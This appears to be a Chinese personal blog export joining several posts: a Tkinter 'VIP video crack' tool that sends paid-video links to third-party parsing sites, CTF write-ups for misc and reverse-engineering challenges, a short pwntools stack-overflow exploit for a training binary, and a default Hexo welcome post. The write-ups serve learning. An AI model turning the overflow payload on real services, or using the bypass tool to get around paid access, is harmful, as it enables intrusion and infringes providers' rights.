今天白嫖了一个脚本不知道哪里有问题望大佬指点一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
# -*- coding:utf-8 -*-
# url解析

from urllib import parse
import tkinter.messagebox as msgbox
import tkinter as tk
import webbrowser
import re
# python 外包 外快 5 20

class APP:
def __init__(self, width=500, height=300):
self.w = width
self.h = height
self.title = ' VIP视频破解助手'
self.root = tk.Tk(className=self.title)
# 定义button控件上的文字
self.url = tk.StringVar()

# 定义选择哪个播放源
self.v = tk.IntVar()

# 默认为1
self.v.set(1)

# Frame空间
frame_1 = tk.Frame(self.root)
frame_2 = tk.Frame(self.root)
frame_3 = tk.Frame(self.root)

# Menu菜单
menu = tk.Menu(self.root)
self.root.config(menu=menu)
moviemenu = tk.Menu(menu, tearoff=0)
menu.add_cascade(label='友情链接', menu=moviemenu)
# 各个网站链接
moviemenu.add_command(label='腾讯视频', command=lambda: webbrowser.open('http://v.qq.com/'))
moviemenu.add_command(label='搜狐视频', command=lambda: webbrowser.open('http://tv.sohu.com/'))
moviemenu.add_command(label='芒果TV', command=lambda: webbrowser.open('http://www.mgtv.com/'))
moviemenu.add_command(label='爱奇艺', command=lambda: webbrowser.open('http://www.iqiyi.com/'))
moviemenu.add_command(label='PPTV', command=lambda: webbrowser.open('http://www.bilibili.com/'))
moviemenu.add_command(label='优酷', command=lambda: webbrowser.open('http://www.youku.com/'))
moviemenu.add_command(label='乐视', command=lambda: webbrowser.open('http://www.le.com/'))
moviemenu.add_command(label='土豆', command=lambda: webbrowser.open('http://www.tudou.com/'))
moviemenu.add_command(label='A站', command=lambda: webbrowser.open('http://www.acfun.tv/'))
moviemenu.add_command(label='B站', command=lambda: webbrowser.open('http://www.bilibili.com/'))

# 控件内容设置
group = tk.Label(frame_1, text='请选择一个视频播放通道:', padx=10, pady=10)
tb1 = tk.Radiobutton(frame_1, text='通道一', variable=self.v, value=1, width=10, height=3)
tb2 = tk.Radiobutton(frame_1, text='通道二', variable=self.v, value=2, width=10, height=3)
label1 = tk.Label(frame_2, text="请输入视频链接:")
entry = tk.Entry(frame_2, textvariable=self.url, highlightcolor='Fuchsia', highlightthickness=1, width=35)
label2 = tk.Label(frame_2, text=" ")
play = tk.Button(frame_2, text="播放", font=('楷体', 12), fg='Purple', width=2, height=1, command=self.video_play)
label3 = tk.Label(frame_2, text=" ")
label_explain = tk.Label(frame_3, fg='red', font=('楷体', 12),
text='\n注意:支持大部分主流视频网站的视频播放!\n此软件仅用于交流学习,请勿用于任何商业用途!')
label_warning = tk.Label(frame_3, fg='blue', font=('楷体', 12), text='\n建议:将Chrome内核浏览器设置为默认浏览器')

# 控件布局
frame_1.pack()
frame_2.pack()
frame_3.pack()
group.grid(row=0, column=0)
tb1.grid(row=0, column=1)
tb2.grid(row=0, column=2)
label1.grid(row=0, column=0)
entry.grid(row=0, column=1)
label2.grid(row=0, column=2)
play.grid(row=0, column=3, ipadx=10, ipady=10)
label3.grid(row=0, column=4)
label_explain.grid(row=1, column=0)
label_warning.grid(row=2, column=0)

"""
函数说明:视频播放
"""

def video_play(self):
# 视频解析网站地址
port_1 = 'http://www.wmxz.wang/video.php?url='
port_2 = 'http://www.vipjiexi.com/tong.php?url='

# 正则表达是判定是否为合法链接
if re.match(r'^https?:/{2}\w.+$', self.url.get()):
if self.v.get() == 1:
# 视频链接获取
ip = self.url.get()
# 视频链接加密
ip = parse.quote_plus(ip)
# 浏览器打开
webbrowser.open(port_1 + self.url.get())
elif self.v.get() == 2:
# 链接获取
ip = self.url.get()
# 链接加密
ip = parse.quote_plus(ip)

# 获取time、key、url
get_url = 'http://www.vipjiexi.com/x2/tong.php?url=%s' % ip

# 请求之后立刻打开
webbrowser.open(get_url)

else:
msgbox.showerror(title='错误', message='视频链接地址无效,请重新输入!')

"""
函数说明:tkinter窗口居中
"""

def center(self):
ws = self.root.winfo_screenwidth()
hs = self.root.winfo_screenheight()
x = int((ws / 2) - (self.w / 2))
y = int((hs / 2) - (self.h / 2))
self.root.geometry('{}x{}+{}+{}'.format(self.w, self.h, x, y))

"""
函数说明:loop等待用户事件
"""

def loop(self):
# 禁止修改窗口大小
self.root.resizable(False, False)
# 窗口居中
self.center()
self.root.mainloop()


if __name__ == '__main__':
app = APP() # 实例化APP对象
app.loop() # loop等待用户事件

春秋杯(2025)

msic

简单算术

1.打开附件看到

1
ys~xdg/m@]mjkz@vl@z~lf>b

2.根据题目意思
想想异或
可以想到异或运算(a^b=c,b^c=a,a^c=b)

一般的flag结尾都是},先让b和}异或

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>


int main() {
char a='b';
char b='}';
char c;
c=a^b;
printf("%d",c);
return 0;
}

得到31

3.再用31依次和字符串异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>


int main() {

char a[]="ys~xdg/m@]mjkz@vl@z~lf>b";
int lenght= strlen(a);
char b='31';
char c[lenght];
int i;
for(i=0;i<lenght;i++){
c[i]=a[i]^31;
}
printf("%s",c);
return 0;
}

image-20250117174125235

1
flag{x0r_Brute_is_easy!}

压力大,写个脚本吧

1.发现是一个百层压缩
2.解了几次发现都有密码上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import zipfile
import os
import base64
import re


def read_password_from_file(file_path):
"""从给定路径的文件中读取Base64编码的密码并解码"""
try:
with open(file_path, 'r') as file:
encoded_password = file.read().strip()
password = base64.b64decode(encoded_password).decode('utf-8')
return password
except Exception as e:
print(f"Error reading password from {file_path}: {e}")
raise


def un_zip(path, file_name, password):
"""解压ZIP文件到指定路径,并提供密码"""
current_file = os.path.join(path, file_name)

try:
with zipfile.ZipFile(current_file) as zip_file:
# 获取第一个非隐藏文件的名字作为新的目录名
for new_file in zip_file.namelist():
if not (new_file.startswith('__MACOSX') or new_file.endswith('/')):
break

# 创建一个以解压出来的压缩包为名字的新文件夹
new_path = os.path.join(path, os.path.splitext(file_name)[0])
os.makedirs(new_path, exist_ok=True)

# 解压所有内容到新路径,并提供密码
zip_file.extractall(path=new_path, pwd=password.encode())

return new_path, new_file

except RuntimeError as e:
print(f"RuntimeError: {e}")
raise
except Exception as e:
print(f"An error occurred while unzipping {file_name}: {e}")
raise


def find_next_password_file(base_path, last_number):
"""
根据上次使用的密码文件数字,在解压后的文件夹中查找下一个密码文件。
"""
next_number = last_number - 1
next_password_filename = f"password_{next_number:02}.txt"
next_password_file_path = os.path.join(base_path, next_password_filename)

if os.path.exists(next_password_file_path):
return next_password_file_path
else:
raise FileNotFoundError(f"Next password file {next_password_filename} not found.")


# 解压缩所需的参数
base_path = r"D:\桌面\zip_100"
initial_file_to_unzip = "zip_99.zip"
initial_password_file = os.path.join(base_path, "password_99.txt")

# 开始解压过程
current_path = base_path
file_to_unzip = initial_file_to_unzip
last_password_number = 99

while True:
try:
# 读取当前密码
password = read_password_from_file(initial_password_file)

# 解压当前ZIP文件
current_path, new_file = un_zip(current_path, file_to_unzip, password)
print(f"Unzipped: {new_file} to {current_path}")

# 检查是否还有zip文件需要解压
if new_file.lower().endswith('.zip'):
# 更新要解压的文件路径
file_to_unzip = new_file

# 查找下一个密码文件
next_password_file = find_next_password_file(current_path, last_password_number)
last_password_number -= 1
initial_password_file = next_password_file
else:
break

except Exception as e:
print(f"Stopped unzipping process due to an error: {e}")
break

print("End of unzipping process.")

image-20250117174837151

3.发现问题改进下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import zipfile
import os
import base64


def read_password_from_file(file_path):
"""从给定路径的文件中读取Base64编码的密码并解码"""
try:
with open(file_path, 'r') as file:
encoded_password = file.read().strip()
password = base64.b64decode(encoded_password).decode('utf-8')
return password
except Exception as e:
print(f"Error reading password from {file_path}: {e}")
raise


def un_zip(path, file_name, password):
"""解压ZIP文件到指定路径,并提供密码"""
current_file = os.path.join(path, file_name)

try:
with zipfile.ZipFile(current_file) as zip_file:
# 创建一个以解压出来的压缩包为名字的新文件夹
new_path = os.path.join(path, os.path.splitext(file_name)[0])
os.makedirs(new_path, exist_ok=True)

# 解压所有内容到新路径,并提供密码
zip_file.extractall(path=new_path, pwd=password.encode())

return new_path, zip_file.namelist() # 返回解压的所有文件列表
except RuntimeError as e:
print(f"RuntimeError: {e}")
raise
except Exception as e:
print(f"An error occurred while unzipping {file_name}: {e}")
raise


def find_next_password_file(base_path, last_number):
"""
根据上次使用的密码文件数字,在解压后的文件夹中查找下一个密码文件。
支持一位数和两位数的文件名。
"""
next_number = last_number - 1
for format_str in ['%d', '%02d']: # 尝试两种格式
next_password_filename = f"password_{format_str % next_number}.txt"
next_password_file_path = os.path.join(base_path, next_password_filename)
if os.path.exists(next_password_file_path):
return next_password_file_path

raise FileNotFoundError(f"Next password file not found for number {next_number}.")


# 解压缩所需的参数
base_path = r"D:\桌面\zip_100"
initial_file_to_unzip = "zip_99.zip"
initial_password_file = os.path.join(base_path, "password_99.txt")

# 开始解压过程
current_path = base_path
file_to_unzip = initial_file_to_unzip
last_password_number = 99

while True:
try:
# 读取当前密码
password = read_password_from_file(initial_password_file)

# 解压当前ZIP文件
current_path, extracted_files = un_zip(current_path, file_to_unzip, password)
print(f"Unzipped: {file_to_unzip} to {current_path}")

# 检查是否还有zip文件需要解压
zip_files = [f for f in extracted_files if f.lower().endswith('.zip')]
if zip_files:
# 更新要解压的文件路径
file_to_unzip = zip_files[0] # 假设只有一个ZIP文件被解压出来

# 查找下一个密码文件
next_password_file = find_next_password_file(current_path, last_password_number)
last_password_number -= 1
initial_password_file = next_password_file
else:
break

except Exception as e:
print(f"Stopped unzipping process due to an error: {e}")
break

print("End of unzipping process.")

image-20250117175112049

完成解压

3.打开最后一个文件

image-20250117175301990

4.可以看到密码加密码和png可以想到把base64都拼在一起可能会得到一个png的图片,拼接后:

image-20250117175558172

5.得到一个二维码:
image-20250117175629639

在线扫描二维码

image-20250117175853810

1
flag{_PASSWORDs_is_fl@g!_}

通往哈希的旅程

1.有题目已知前三位是188,而且是11位

用脚本爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib

# 给定的哈希值
given_hash = 'ca12fd8250972ec363a16593356abb1f3cf3a16d'

# 检查函数
def check_hash(value):
# 生成该值的SHA-1哈希
hash_object = hashlib.sha1(value.encode())
hex_dig = hash_object.hexdigest()
return hex_dig == given_hash

# 尝试所有可能的11位数字组合
for i in range(18800000000, 18900000000): # 从18800000000到18899999999
if check_hash(str(i)):
print(f"Found match: {i}")
break
else:
print("No match found")

image-20250117182920364

1
flag{18876011645}

BUUCTF刷题记录

题目链接

Reverse

easyre

1.先下载IDA
2.用IDA打开exe
3.用shift+F12,查看字符串(不了解IDA快捷的可以先了解一下IDA的快捷键)
4.可以看到如下:
1

1
flag{this_Is_a_EaSyRe}

reverse1

1.用IDA打开exe
2.用shift+F12,查看字符串
2

3.双击进入
3

4.用x键查看字符串所在的函数
4

5.双击击进去
5

6.用快捷键F5将其反编译代码的形式
6

7.我们现在对代码进行分析(鼠标右键点击Edit comment可以添加注释,R键转换成字符串,H键转换成10 进制)
7

8.我们双击str2,进入汇编见面
8

1
flag{hell0_w0rld}

reverse2

1.用IDA打开exe
2.用shift+F12,查看字符串
9

可以看到flag的后半部分,双击right flag进入汇编界面,依旧re1的操作进入到反编译的界面(或者你可以直接找main函数,一般关键信息都在main函数里)
10

3.进行分析
11

很明显就是把flag中的i和r换成了1;

4.先双击flag
12

其实初始的flag已经出来了,替换一下

1
flag{hack1ng_fo1_fun}

内涵的软件

1.先运行一下exe
13

再enter后就退出了

2.用IDA 打开
3.shift+F12,查找字符串
14

1
flag{49d3c93df25caad81232130f3d2ebfad}

新年快乐

1.先运行exe
15

输入任何东西都会闪退
2.用IDA分析(在这里说明一下IDA有32和64 位,可以用ExeinfoPe查看,不过ExeinfoPe的主要功能是查看壳)
16

可以看到upx的壳
3.用ExeinfoPe查壳
17

可以看到32位用,有upx,用upx工具脱壳
4.用upx工具脱壳

1
upx -d + 文件地址

18

5.再将脱壳后的exe放入IDA
20

恢复正常

6.还是先shift+F12,找关键字符串
21

看到关键字符串‘this is true flag!’,双击进入,按同样的步骤找到反编译后的代码
22

进行分析
23

1
flag{HappyNewYear!}

xor

1.先用IDA打开
24

2.找到关键词,按相同步骤找到函数并进行分析
25

3.先双击global进入汇编界面
26

4.在双击划红线的部分,找到加密后的密文
27

在密文上使用shift+E提取密文,再将其转到16进制的形式(既选择hex)

补充:异或的知识 a^b = c 如果想的到a或b ,可以b=a^c,a=b^c;

5.最后编写代码解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h> 
#include<stdlib.h>

int main(){
int i;
char b[] =
{
0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11,
0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F,
0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F,
0x47, 0x32, 0x4F
};
for ( i = 32; i > 0; --i ){
b[i] ^= b[i - 1];
}
printf("%s",b);
return 0;
}
1
flag{QianQiuWanDai_YiTongJiangHu}

reverse3

1.先运行一下exe
28

还是输入enter就退出了
29

猜测肯定与base64 加密有关,双击right flag,进入汇编界面,同样步骤进入反编译后的界面,进行分析。

  • 1先进入sub_4110BE
    30

  • 2整体分析完毕
    31

2.双击str2,进入汇编界面查找str2的字符串
32

3.先用脚本偏移回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h> 
#include<stdlib.h>
#include<string.h>

int main(){
int i;
char b[] ="e3nifIH9b_C@n@dH" ;
int j;
j=strlen(b);
for ( i = 0; i <j ; i++ ){
b[i] -= i;
}
printf("%s",b);
return 0;
}

4.再用在线base64解码
33

1
flag{i_l0ve_you}

helloworld

1.下载文件发现是apk文件(一般apk都是用jadx 打开)
2.先用jadx打开(注:一般主要的内容都在MainActivity中)
3.进入MainActivity可以看到:
34

1
flag{7631a988259a00816deda84afb29430a}

不一样的flag

1.先运行exe,看到:
35

2.由上下左右的信息,可以猜测是个迷宫题
3.再用IDA打开
36

这里补充一点经验,一般迷宫都是方形的。
4.3.按原步骤找到主函数,并进行分析
37

5.构造迷宫:

1
2
3
4
5
* 1 1 1 1
0 1 0 0 0
0 1 0 1 0
0 0 0 1 0
1 1 1 1 #

明显是:下下下右右上上右右下下下(222441144222)

1
flag{222441144222}

SimpleRev

1.打开IDA
2.按原步骤找到主函数,并分析:
38

可以找到关键函数
39

40

3.解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h> 
#include<stdlib.h>
#include<string.h>

int main(){
char key3[10]="killshadow";
//ADSFKNDCLS转成小写
char key[10]="adsfkndcls";
char flag[10];
int i,j;
for(i=0;i<10;i++){
for(j=64;j<=90;j++){
//key3=text;如果想要成功满足str2=text;
if(key3[i]==(j-39-key[i%10]+97)%26+97){
flag[i]=j;
}
}
}
printf("flag{%s}",flag);
return 0;
}
1
flag{KLDQCUDFZO}

luck_guy

1.先用虚拟机运行一下:
41

没什么线索。
2.再用IDA打开,shift+F12:

41

3.按原步骤找到反编译的原函数,并进行分析
42

进入如关键函数

44

进入get_flag
45

双击f1进入,汇编界面
46

得到flag的第一部分
编代码得到第二部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>


int main() {

char f2[7]={'i','c','u','g','`','o','f',0x7F};//小端序转化
int i,j;
for(j=0;j<=7;j++){
if(j%2==1){
f2[j]-= 2;
}
else{
--f2[j];
}
}
printf("%s\n",f2);
return 0;
}

运行后得到

1
hate_me?

拼接一下

1
flag{do_not_hate_me?}

java逆向解密

1.java一般是先xxx.java文件,经过javac.exe编译后的到xxx.class文件,java的反编译可以用jd-gui(纯反编译java)后jadx(因为apk大多数都是用java写的)打开

2.下载附件看到xxx.class,可以知道要用java反编译的工具,以上两种都可以。

47

3.思路很明显了,将key先和32异或再-@。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include<string.h>
#include<stdlib.h>


int main() {

char KEY[] = {180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65};
int j;
int lenght=strlen(KEY);
char flag[lenght-2];
for(j=0;j<lenght;j++){
flag[j]=(KEY[j]^32)-'@';
}
printf("%s\n",flag);
return 0;
}

48

1
flag{This_is_the_flag_!}

JustRE

1.先运行exe
58
2.猜测可能是点击很多次次才能出来,这里我没有试,但是我在这里附上一个鼠标自动点击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pyautogui
import time

# 等待10秒
time.sleep(3)

# 设置点击次数
clicks = 100
interval = 1 # 两次点击之间的间隔时间(秒)

print("开始点击...")
for i in range(clicks):
pyautogui.click() # 默认情况下点击左键
time.sleep(interval) # 等待指定的间隔时间

print("完成点击")

3.我是直接用IDA打开
shift+F12查找字符串
59
可以找到flag

1
flag{%d%d2069a45792d233ac}

刮开有奖

1.先运行一下exe
60
我试了一下发现刮不动
2.用IDA打开
61
猜测跟base加解密有关
62
分析完毕,这里是纯手算的。这里给一个模拟排序函数的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int sub_A510F0(char* a1, int a2, int a3)
{
int result; // eax
int i; // esi
int v5; // ecx
int v6; // edx

result = a3;
for ( i = a2; i <= a3; a2 = i )
{
v5 =i;
v6 =a1[i];
if ( a2 < result && i < result )
{
do
{
if ( v6 > a1[result] )
{
if ( i >= result )
break;
++i;
a1[v5] = a1[result];
if ( i >= result )
break;
while ( a1[i] <= v6 )
{
if ( ++i >= result )
goto LABEL_13;
}
if ( i >= result )
break;
v5 = i;
a1[result] = a1[i];
}
--result;
}
while ( i < result );
}
LABEL_13:
a1[result]= v6;
sub_A510F0(a1, a2, i - 1);
result = a3;
++i;
}
return result;
}
int main() {

char str[]="ZJSECaNH3ng";
sub_A510F0(str,0,10);
printf("%s",str);
return 0;
}

疑难解答: *(_DWORD *)(a1 + 4 * result) = *(_DWORD )(4 * i + a1)<=>a1[result]=a1[i],int占四个字节,所以需要4.如果是char类型,就不需要(从大佬的博客里看的)。

1
flag{UJWP1jMp}

easyre1

1.直接放入IDA发现有壳与新年快乐同理去脱壳
2.脱壳后安原步骤找到main函数,并分析

63
3.现在只要编脚本得到v5就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int main() {
char v5[11];
int num[11];
char v4[]="*F'\"N,\"(I?+@";
char str[]="~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$# !\"";
int i,j;
for ( i = 0; i <= 11; ++i )
{
for(j=0;j<strlen(str);j++){
if(v4[i]==str[j]){
num[i]=j;
}
}
}
for(i=0;i<=11;i++){
v5[i]=num[i]+1;
}
printf("%s",v5);
return 0;
}
1
flag{U9X_1S_W6@T?}

简单注册器

1.发现是apk文件用jadx打开
2.还是找到 MainActivity和在IDA中找到main一个意思
3.64

4.编个脚本模拟它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int main() {
char x[]="dd2940c04462b4dd7c450528835cca15";
char a ;
int i;
x[2]= x[2]+x[3]-50;
x[4]=x[2]+x[5]-48;
x[30]=x[31]+x[9]-48;
x[14]=x[27]+x[28]-91;
for(i=0;i<16;i++){
a = x[31-i];
x[31 - i] = x[i];
x[i] = a;
}
printf("flag{%s}",x);
return 0;
}
1
flag{59acc538825054c7dk4b26440c0999dd}

pyre

1.pyc文件可以用在线pyc的反编译软件py反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 2.7

print 'Welcome to Re World!' #欢迎
print 'Your input1 is your flag~'
l = len(input1) #input1就是flag
for i in range(l):
num = ((input1[i] + i) % 128 + 128) % 128
code += num

for i in range(l - 1):
code[i] = code[i] ^ code[i + 1] #进行加密

print code
code = [
'\x1f',
'\x12',
'\x1d',
'(',
'0',
'4',
'\x01',
'\x06',
'\x14',
'4',
',',
'\x1b',
'U',
'?',
'o',
'6',
'*',
':',
'\x01',
'D',
';',
'%',
'\x13']#加密后的结果

反编译后的结果(加注释后)

2.用脚本进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int main() {
int i,j;
char code[] = {0x1f,0x12,0x1d,'(','0','4',0x01,0x06,0x14,'4',',',0x1b,'U','?','o','6','*',':',0x01,'D',';','%',0x13};
int lenght=strlen(code)-1;
char input1[strlen(code)];
char num[strlen(code)];
for(i=lenght-1;i>=0;i--){
code[i] = code[i] ^ code[i + 1];
}
for(i=lenght;i>=0;i--){
num[i]= code[i];
for(j=0;j<10;j++){
input1[i]=num[i]-i+128*j;
if(input1[i]>=0&&input1[i]<=128){
break;
}
}
}
printf("%s\n",input1);
return 0;
}
1
flag{Just_Re_1s_Ha66y!}

findit

1.apk文件,跟前面的apk题一样找到主要函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.example.findit;

import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

/* loaded from: classes.dex */
public class MainActivity extends ActionBarActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // android.support.v7.app.ActionBarActivity, android.support.v4.app.FragmentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button btn = (Button) findViewById(R.id.widget3);
final EditText edit = (EditText) findViewById(R.id.widget2);
final TextView text = (TextView) findViewById(R.id.widget1);
final char[] a = {'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'};
final char[] b = {'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'};
btn.setOnClickListener(new View.OnClickListener() { // from class: com.example.findit.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
char[] x = new char[17];
char[] y = new char[38];
for (int i = 0; i < 17; i++) {
if ((a[i] < 'I' && a[i] >= 'A') || (a[i] < 'i' && a[i] >= 'a')) {
x[i] = (char) (a[i] + 18);
} else if ((a[i] >= 'A' && a[i] <= 'Z') || (a[i] >= 'a' && a[i] <= 'z')) {
x[i] = (char) (a[i] - '\b');
} else {
x[i] = a[i];
}
}
String m = String.valueOf(x);
if (m.equals(edit.getText().toString())) {
for (int i2 = 0; i2 < 38; i2++) {
if ((b[i2] >= 'A' && b[i2] <= 'Z') || (b[i2] >= 'a' && b[i2] <= 'z')) {
y[i2] = (char) (b[i2] + 16);
if ((y[i2] > 'Z' && y[i2] < 'a') || y[i2] >= 'z') {
y[i2] = (char) (y[i2] - 26);
}
} else {
y[i2] = b[i2];
}
}
String n = String.valueOf(y);
text.setText(n);
return;
}
text.setText("答案错了肿么办。。。不给你又不好意思。。。哎呀好纠结啊~~~");
}
});
}

@Override // android.app.Activity
public boolean onOptionsItemSelected(MenuItem item) {
int id = item.getItemId();
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}

2.模拟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

int main() {
char a[] = {'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'};
char b[] = {'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'};
int x[17];
int y[38];
int i;
int i2 ;
for (i = 0; i < 17; i++) {
if ((a[i] < 'I' && a[i] >= 'A') || (a[i] < 'i' && a[i] >= 'a')) {
x[i] = a[i] + 18;
} else if ((a[i] >= 'A' && a[i] <= 'Z') || (a[i] >= 'a' && a[i] <= 'z')) {
x[i] = a[i] - '\b';
} else {
x[i] = a[i];
}
}

for (i2 = 0; i2 < 38; i2++) {
if ((b[i2] >= 'A' && b[i2] <= 'Z') || (b[i2] >= 'a' && b[i2] <= 'z')) {
y[i2] = b[i2] + 16;
if ((y[i2] > 'Z' && y[i2] < 'a') || y[i2] >= 'z') {
y[i2] = y[i2] - 26;
}
} else {
y[i2] = b[i2];
}
}

for(i = 0; i < 17; i++){
printf("%c", (char)x[i]);
}
printf("\n");
for(i = 0; i < 38; i++){
printf("%c", (char)y[i]);
}

return 0;
}
1
flag{c164675262033b4c49bdf7f9cda28a75}

Pwn

test_your_nc

1.就是测试一下你的nc

1
nc +靶机地址 (在linxs中ip与端口间没有冒号)

2.pwn题一般都是动态地址,所以每次的flag都是不一样的

49

rip

1.先进行一波常规操作
50

2.再用IDA打开shift+F12直接可以查看后门
51

52

找到后门的地址
3.找到main函数
53

4.我们要考栈溢出一直覆盖到后门(shell),看看要覆盖多少;
54

5.在查看system函数的地址
55

6.构造exp

1
2
3
4
5
6
7
8
from pwn import*
r = process("./pwn")
#r=remote("ip",端口)
shell=0x0401040
sys=0x00401187
payload=b'a'*0x0F+b'b'*8+p64(sys)+p64(shell)
r.sendline(payload)
r.interactive()

56

本地成功换成远程
57

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment